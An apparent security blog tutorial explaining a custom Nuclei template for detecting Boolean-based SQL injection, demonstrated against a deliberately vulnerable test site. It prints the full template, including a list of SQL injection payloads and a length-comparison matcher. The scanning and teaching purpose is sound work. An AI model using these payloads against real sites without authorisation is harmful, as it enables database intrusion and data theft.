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ARTICLE ADSQL Injection (SQLi) is a common and critical security vulnerability in web applications. In this article, I will introduce our new Nuclei plugin designed to detect Boolean-based SQLi. We will explain in detail how the plugin works and how to use it.
What is Nuclei?
Nuclei is an open-source security scanning tool. It uses customizable templates to detect various security vulnerabilities. These templates identify vulnerabilities by sending HTTP requests and analyzing the responses.
What is Boolean Based SQL Injection?
Boolean-based SQLi is a technique used to gather information about the structure of a database by manipulating SQL queries to return true or false responses. This technique involves using logical expressions in SQL queries to manipulate the responses.
Fuzzing With Nuclei
With the release of Nuclei version 3.2, fuzzing support has been announced. With this feature, we can now perform fuzzing in Nuclei just like with other fuzzing tools. You can access the related article through the link.
POC
We will use the link “http://testphp.vulnweb.com/artists.php?artist=2" as our target. This link contains an SQLi vulnerability. This SQLi can be exploited in several different ways, but in this article, we will focus on the Boolean Based type.
The related Nuclei template is as follows. We will analyze step-by-step how the template works:
id: sqli-boolean-based-getinfo:
name: Boolean Based SQL Injection
author: serhatcck
severity: critical
description: Boolean Based SQLi
tags: sqli, dast
flow: http(1) && http(2)
http:
- method: GET
path:
- "{BaseURL}"
payloads:
empty:
- ''
fuzzing:
- part: query
type: postfix
mode: multiple
fuzz:
- "{{empty}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- method: GET
path:
- "{BaseURL}"
payloads:
injection:
- "' or '123'='123"
- " or 123 = 123"
- "' and '123'='123"
- "\" or \"123\"=\"123\""
- "\" and \"123\"=\"123\""
- " or 1=1 -- -"
- " or 1=1; -- -"
- "and 1=1; -- -"
fuzzing:
- part: query
type: postfix
mode: multiple
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers:
- type: dsl
dsl :
- '(len(http_2_body) + len(injection)) > len(http_1_body) '
The template first sends a request to the target with an empty payload list:
- method: GETpath:
- "{BaseURL}"
payloads:
empty:
- ''
fuzzing:
- part: query
type: postfix
mode: multiple
fuzz:
- "{{empty}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
Here, the important part to note is the matcher section. DSL is used in this section, and it checks the status_code. Additionally, it is set with internal: true. As a result of this setting, the outcome of the first request is not considered a vulnerability, and the process moves on to the next step.
In the second step, the payloads necessary for fuzzing are defined and the required fuzzing rules are written:
- method: GETpath:
- "{BaseURL}"
payloads:
injection:
- "' or '123'='123"
- " or 123 = 123"
- "' and '123'='123"
- "\" or \"123\"=\"123\""
- "\" and \"123\"=\"123\""
- " or 1=1 -- -"
- " or 1=1; -- -"
- "and 1=1; -- -"
fuzzing:
- part: query
type: postfix
mode: multiple
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers:
- type: dsl
dsl :
- '(len(http_2_body) + len(injection)) > len(http_1_body) '
In this step, the matcher is different. This matcher compares the size of the first HTTP response with the size of the second HTTP response. The reason for this is that if a vulnerability is found using the OR clause, it will likely return all the article information in the system.
Fuzzing operations in Nuclei should utilize the -dast tag available.
The POC performed in this article does not fully simulate a Boolean-based scenario. The main purpose here is to demonstrate how to perform logical operations using Nuclei templates.
Summary
With the addition of the fuzzing feature, Nuclei has become more versatile. As demonstrated in the above POC, multiple HTTP requests can be linked using “flow” and their results compared. This feature introduces a new perspective to automated DAST (Dynamic Application Security Testing) checks. Custom templates can be created for specific scenarios, allowing testers to develop their own automated DAST tools. Many thanks to the Project Discovery team for providing this technology.
References
https://docs.projectdiscovery.io/templates/reference/matchers